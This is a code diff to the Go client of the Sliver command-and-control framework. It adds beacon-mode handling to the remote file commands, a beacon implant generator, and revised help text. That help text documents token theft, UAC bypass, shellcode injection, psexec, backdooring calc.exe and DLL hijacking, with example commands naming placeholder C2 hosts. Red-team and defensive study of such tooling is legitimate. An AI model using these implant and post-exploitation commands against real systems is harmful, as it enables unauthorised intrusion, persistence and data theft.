con.Println(string(download.Data))
}
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(clearln + Info + "Output saved as loot\n")
// }
// }
}
func colorize(f *sliverpb.Download) error {
+19 -4
View File
@@ -22,26 +22,41 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CdCmd - Change directory on the remote system
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
con.PrintInfof("%s\n", pwd.Path)
PrintPwd(pwd, con)
}
}
+49 -21
View File
@@ -27,16 +27,18 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -55,19 +57,10 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
@@ -76,7 +69,51 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDownload(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintDownload(download, ctx, con)
}
}
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
@@ -96,13 +133,4 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(Info + "Output saved as loot\n")
// }
// }
}
+140 -9
View File
@@ -22,48 +22,179 @@ import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// LsCmd - List the contents of a remote directory
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indices should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if ls.Response != nil && ls.Response.Async {
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, ls)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, filter, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, con)
PrintLs(ls, ctx.Flags, filter, con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, fileInfo := range ls.Files {
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
// Extract the flags
reverseSort := flags.Bool("reverse")
sortByTime := flags.Bool("modified")
sortBySize := flags.Bool("size")
/*
By default, name sorting is case sensitive. Upper case entries come before
lower case ones. Instead, we will level the playing field and sort
regardless of case
*/
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
})
}
/*
After names are sorted properly, take care of the modified time if the
user wants to sort by time. Doing this after sorting by name
will make the time sorted entries properly sorted by name if times are equal.
*/
if sortByTime {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime > ls.Files[j].ModTime
})
} else {
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime < ls.Files[j].ModTime
})
}
} else if sortBySize {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size > ls.Files[j].Size
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size < ls.Files[j].Size
})
}
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
+28 -4
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MkdirCmd - Make a remote directory
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -42,12 +44,34 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if mkdir.Response != nil && mkdir.Response.Async {
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, mkdir)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMkdir(mkdir, con)
})
con.PrintAsyncResponse(mkdir.Response)
} else {
con.PrintInfof("%s\n", mkdir.Path)
PrintMkdir(mkdir, con)
}
}
// PrintMkdir - Print make directory
func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
if mkdir.Response != nil && mkdir.Response.Err != "" {
con.PrintErrorf("%s\n", mkdir.Response.Err)
return
}
con.PrintInfof("%s\n", mkdir.Path)
}
+28 -5
View File
@@ -22,24 +22,47 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// PwdCmd - Print the remote working directory
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
con.PrintInfof("%s\n", pwd.Path)
PrintPwd(pwd, con)
}
}
// PrintPwd - Print the remote working directory
func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
if pwd.Response != nil && pwd.Response.Err != "" {
con.PrintErrorf("%s\n", pwd.Response.Err)
return
}
con.PrintInfof("%s\n", pwd.Path)
}
+28 -4
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// RmCmd - Remove a directory from the remote file system
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -42,14 +44,36 @@ func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
Recursive: ctx.Flags.Bool("recursive"),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if rm.Response != nil && rm.Response.Async {
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, rm)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRm(rm, con)
})
con.PrintAsyncResponse(rm.Response)
} else {
con.PrintInfof("%s\n", rm.Path)
PrintRm(rm, con)
}
}
// PrintRm - Print the rm response
func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
if rm.Response != nil && rm.Response.Err != "" {
con.PrintErrorf("%s\n", rm.Response.Err)
return
}
con.PrintInfof("%s\n", rm.Path)
}
+28 -4
View File
@@ -26,16 +26,18 @@ import (
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// UploadCmd - Upload a file to the remote system
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -67,7 +69,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
@@ -77,7 +79,29 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if upload.Response != nil && upload.Response.Async {
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, upload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUpload(upload, con)
})
con.PrintAsyncResponse(upload.Response)
} else {
con.PrintInfof("Wrote file to %s\n", upload.Path)
PrintUpload(upload, con)
}
}
// PrintUpload - Print the result of the upload command
func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
if upload.Response != nil && upload.Response.Err != "" {
con.PrintErrorf("%s\n", upload.Response.Err)
return
}
con.PrintInfof("Wrote file to %s\n", upload.Path)
}
@@ -0,0 +1,48 @@
package generate
import (
"fmt"
"os"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
var (
minBeaconInterval = 15 * time.Second
ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
)
// GenerateBeaconCmd - The main command used to generate implant binaries
func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
config.IsBeacon = true
err := parseBeaconFlags(ctx, con, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
compile(config, save, con)
}
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
config.BeaconInterval = int64(interval)
config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
return nil
}
+14 -36
View File
@@ -62,8 +62,8 @@ const (
// DefaultReconnect is the default reconnect time
DefaultReconnect = 60
// DefaultPoll is the default poll interval
DefaultPoll = 1
// DefaultPollTimeout is the default poll timeout
DefaultPollTimeout = 360 // 6 minutes
// DefaultMaxErrors is the default max reconnection errors before giving up
DefaultMaxErrors = 1000
)
@@ -82,31 +82,6 @@ var (
"windows/386": true,
"windows/amd64": true,
}
// validFormats = []string{
// "bash",
// "c",
// "csharp",
// "dw",
// "dword",
// "hex",
// "java",
// "js_be",
// "js_le",
// "num",
// "perl",
// "pl",
// "powershell",
// "ps1",
// "py",
// "python",
// "raw",
// "rb",
// "ruby",
// "sh",
// "vbapplication",
// "vbscript",
// }
)
// GenerateCmd - The main command used to generate implant binaries
@@ -235,7 +210,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
}
reconnectInterval := ctx.Flags.Int("reconnect")
pollInterval := ctx.Flags.Int("poll")
pollTimeout := ctx.Flags.Int("poll-timeout")
maxConnectionErrors := ctx.Flags.Int("max-errors")
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
@@ -308,8 +283,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ReconnectInterval: uint32(reconnectInterval),
PollInterval: uint32(pollInterval),
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
LimitDomainJoined: limitDomainJoined,
@@ -349,11 +324,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
if _, ok := SupportedCompilerTargets[target]; !ok {
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
console.Bold, target, console.Normal,
)
con.Printf("⚠️ Default implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Compile a Default build?"}
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
@@ -500,9 +475,12 @@ func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
} else {
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
}
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
} else if !config.Debug {
+2 -2
View File
@@ -45,8 +45,8 @@ func printHelp(con *console.SliverConsoleClient) {
groups := make(map[string]*grumble.Commands)
for _, c := range con.App.Commands().All() {
key := c.HelpGroup
if con.ActiveSession.Get() != nil {
if con.ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
if con.ActiveTarget.GetSession() != nil {
if con.ActiveTarget.GetSession().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
continue
}
} else {
+46 -22
View File
@@ -173,7 +173,7 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
see 'help new-profile'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
command.
`
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
@@ -201,23 +201,23 @@ When a stager calls back to this URL, a sliver corresponding to the said profile
stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]new-profile[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
new-profile --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Profiles are an easy way to save a sliver configurate and easily generate multiple copies of the binary with the same
settings, but will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
new-profile --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
generate-profile mtls-profile
`
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
[[.Bold]]About:[[.Normal]] Generate a Sliver from a saved profile (see new-profile).`
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
@@ -228,21 +228,45 @@ settings, but will still have per-binary certificates/obfuscation/etc. This comm
psHelp = `[[.Bold]]Command:[[.Normal]] ps <options>
[[.Bold]]About:[[.Normal]] List processes on remote system.`
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <sliver name/session>
[[.Bold]]About:[[.Normal]] Ping Sliver by name or the active sliver. This does NOT send an ICMP packet, it just sends an empty
c2 message round trip to ensure the remote Sliver is still responding to commands.`
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <implant name/session>
[[.Bold]]About:[[.Normal]] Ping session by name or the active session. This does NOT send an ICMP packet, it just sends a small
C2 message round trip to ensure the remote implant is still responding to commands.`
killHelp = `[[.Bold]]Command:[[.Normal]] kill <sliver name/session>
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
killHelp = `[[.Bold]]Command:[[.Normal]] kill <implant name/session>
[[.Bold]]About:[[.Normal]] Kill a remote implant process (does not delete file).`
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
[[.Bold]][[.Underline]]Sorting[[.Normal]]
Directory and file listings are sorted by name in ascending order by default. Listings can also be sorted by size (-s) and modified time (-m). All sorts can be reversed with -r.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit search results to directory and file names matching given criteria.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
/etc/passwd will display the listing for /etc/passwd. "/etc/" is the path, and "passwd" is the filter.
Directory and file listings can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file and directory names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all directory and file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
`
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
[[.Bold]]About:[[.Normal]] Change working directory of the active session.`
pwdHelp = `[[.Bold]]Command:[[.Normal]] pwd
[[.Bold]]About:[[.Normal]] Print working directory of the active Sliver.`
[[.Bold]]About:[[.Normal]] Print working directory of the active session.`
mkdirHelp = `[[.Bold]]Command:[[.Normal]] mkdir [remote path]
[[.Bold]]About:[[.Normal]] Create a remote directory.`
@@ -266,20 +290,20 @@ c2 message round trip to ensure the remote Sliver is still responding to command
[[.Bold]]About:[[.Normal]] (Windows Only) Run a new process in the context of the designated user`
impersonateHelp = `[[.Bold]]Command:[[.Normal]] impersonate USERNAME
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that runs new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that run new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
revToSelfHelp = `[[.Bold]]Command:[[.Normal]] rev2self
[[.Bold]]About:[[.Normal]] (Windows Only) Call RevertToSelf, lose the stolen token.`
elevateHelp = `[[.Bold]]Command:[[.Normal]] elevate
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new sliver session as an elevated process (UAC bypass)`
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new Sliver session as an elevated process (UAC bypass)`
executeAssemblyHelp = `[[.Bold]]Command:[[.Normal]] execute-assembly [local path to assembly] [arguments]
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
`
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the Sliver process.
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
@@ -404,9 +428,9 @@ Each command will have the [[.Bold]]--process[[.Normal]] flag defined, which all
This command uploads a Sliver binary generated on the fly from a profile.
The profile must be created with the [[.Bold]]service[[.Normal]] format, so that the service manager can properly start and stop the binary.
To create such a profile, use the [[.Bold]]new-profile[[.Normal]] command:
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
new-profile --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
@@ -418,7 +442,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: new-profile --format shellcode --profile-name whatever --http ab.cd
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -630,7 +654,7 @@ supplied with the --profile flag.
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack
new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
+5 -3
View File
@@ -28,6 +28,7 @@ import (
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
